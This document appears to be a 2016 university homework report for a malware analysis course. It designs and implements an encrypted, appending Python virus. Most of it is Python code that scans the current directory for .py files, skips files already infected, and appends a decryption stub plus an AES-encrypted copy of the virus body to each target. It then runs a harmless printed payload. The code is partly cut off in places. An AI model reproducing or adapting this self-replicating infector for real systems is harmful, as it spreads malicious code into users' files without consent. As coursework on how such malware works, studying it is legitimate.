Malware analysis and design
Homework No. 3

Vincenzo Arceri VR386484
Giovanni Liboni VR387955
Alberto Marini

May 20, 2016

1 Introduction

The purpose is to design a virus similar to the *vbash* one, except that it will be encrypted. Its structure is divided in two parts:

- The first part of the code will be unencrypted and will simply consist of the decryption function. The key will be made of the first bytes of the infected virus.
- The second part (the most important one) will consist of the main body of the virus.

The virus will be an appending one. It will spread as follows:

- It looks for infected is executed.
- During the infection, it creates a specific key for each file (once again, a few bytes are taken from the target file), then encrypts its own main body and adds both the decrypting routine and the (encrypted) main viral body to the target file.
- A potential payload may be triggered (with or without a delayed action mechanism).

2 Virus design

3 Implementation

```
# Open the virus itself
this = open(__main__.__file__, 'r')
# Set copy variable to False
```

```
copy = False
# Initialize an empty payload
cipher_payload = ''

# Search for the encrypted main body of the virus and copy it into cipher_payload
for line in this:
   if line.strip() == '# Start payload':
      copy = True
   elif line.strip() == '# End payload':
      copy = False
   elif copy:
      cipher_payload = cipher_payload + line
# Decrypt the main body of the virus and execute it.
e = decrypt(cipher_payload[1:])
exec e

# Encrypted main body of the virus
# Start payload
#8eoDXnZwwdY/TUaf5IQOo5+tbvE2zllu4tOm...
# End payload
```

```
import os
def is_infected(filename):
   f = open(filename, 'r')
   lines = f.readlines()
   if len(lines) < 46:
      return False
   #print len(lines)
   #print lines[len(lines) - 46]
   return lines[len(lines) - 46].startswith('########################################

def infect(filename):
   # Rename the file as a temporary file
   os.rename(filename, filename + '-copy')
   # Create a new file named as previous file
   destination = open(filename, 'w')
   # Set execution permission to the file
   os.chmod(filename, S_IEXEC)
   # Open the temporary file
   source = open(filename + '-copy', 'r')
   # Open this file
   this = open(__main__.__file__, 'r')

   # Copy the content of this file into the destination file
   for line in source:
      destination.write(line)
   # Write the key
   destination.write("\n############################################################ Fi
   destination.write("# coding=utf-8\n")
   destination.write("# Start Uncrypted\n")
   # Set the copy to False, uncrypted body not found yet
   copy = False
   # Initialize result
```

```
33      result = ''
34      # For every line
35      for line in this:
36         if line.strip() == '# Start Uncrypted':
37            copy = True
38         elif line.strip() == '# End Uncrypted':
39            destination.write('# End Uncrypted')
40            copy = False
41         elif copy:
42            destination.write(line);
43
44      destination.write("\n# Start payload\n")
45      destination.write("#")
46      destination.write(str(encrypt(e, filename)))
47      destination.write("\n# End payload")
48
49      os.remove(filename + '-copy')
50      source.close()
51      destination.close()
52      this.close()
53
54   def find_and_infect_files():
55      path = '.'
56      # Lists all files inside current directory
57      dirs = os.listdir(path)
58
59      # For each file try to infect it
60      for filename in dirs:
61         # If file ends with .py, is not already infected and it's not virus itself (v
62         if filename.endswith('.py') and (not is_infected(filename)) and (filename != '
63            print "Infected " +  str(filename)
64            # Infect file with the virus
65            infect(filename)
66
67   def encrypt(data,filename):
68      source = open(filename + '-copy', 'r')
69
70      iv = Random.new().read(AES.block_size)
71      cipher = AES.new(StringIO.StringIO(source).read(24), AES.MODE_CFB, iv)
72      encrypted = iv + cipher.encrypt(data)
73
74      source.close()
75      return base64.b64encode(encrypted)
76    ####################
77
78   def payload():
79      print "This file is infected infected! Mhuahauhauahau!"
80
81   # Find and infect files
82   find_and_infect_files()
83   # Execute the payload
84   payload()
```